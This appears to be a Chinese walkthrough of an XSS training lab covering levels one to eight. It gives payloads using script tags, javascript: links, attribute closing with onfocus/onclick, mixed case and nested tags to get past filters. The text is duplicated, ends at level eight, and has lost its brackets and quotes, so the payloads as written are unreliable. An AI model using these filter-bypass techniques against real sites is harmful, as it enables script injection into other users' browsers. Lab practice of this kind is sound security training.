第一关scriptalert()/script第二关scriptconsole.log(hah)/script第三关htmlspecialchars()是 PHP 中的一个内置函数用于将特殊字符转换为 HTML 实体。这里我们可以使用单引号对value提前闭合并利用onfocus事件绕过 onclickalert()第四关 和 给删掉了没多做过滤。这里是双引号闭合input标签所以我们还能继续利用onfocus事件构建payload onclickalert()第五关 a hrefjavascript:alert().../a第六关 sCriptalert()/sCript a hRefjavascript:alert()x/a第七关scrscriptiptalert()/scrscriptipt第八关input标签添加了html实体转化函数小写转化函数过滤掉了src、data、onfocus、href、script、javascript:alert()
第一关scriptalert()/script第二关scriptconsole.log(hah)/script第三关htmlspecialchars()是 PHP 中的一个内置函数用于将特殊字符转换为 HTML 实体。这里我们可以使用单引号对value提前闭合并利用onfocus事件绕过 onclickalert()第四关 和 给删掉了没多做过滤。这里是双引号闭合input标签所以我们还能继续利用onfocus事件构建payload onclickalert()第五关 a hrefjavascript:alert().../a第六关 sCriptalert()/sCript a hRefjavascript:alert()x/a第七关scrscriptiptalert()/scrscriptipt第八关input标签添加了html实体转化函数小写转化函数过滤掉了src、data、onfocus、href、script、javascript:alert()
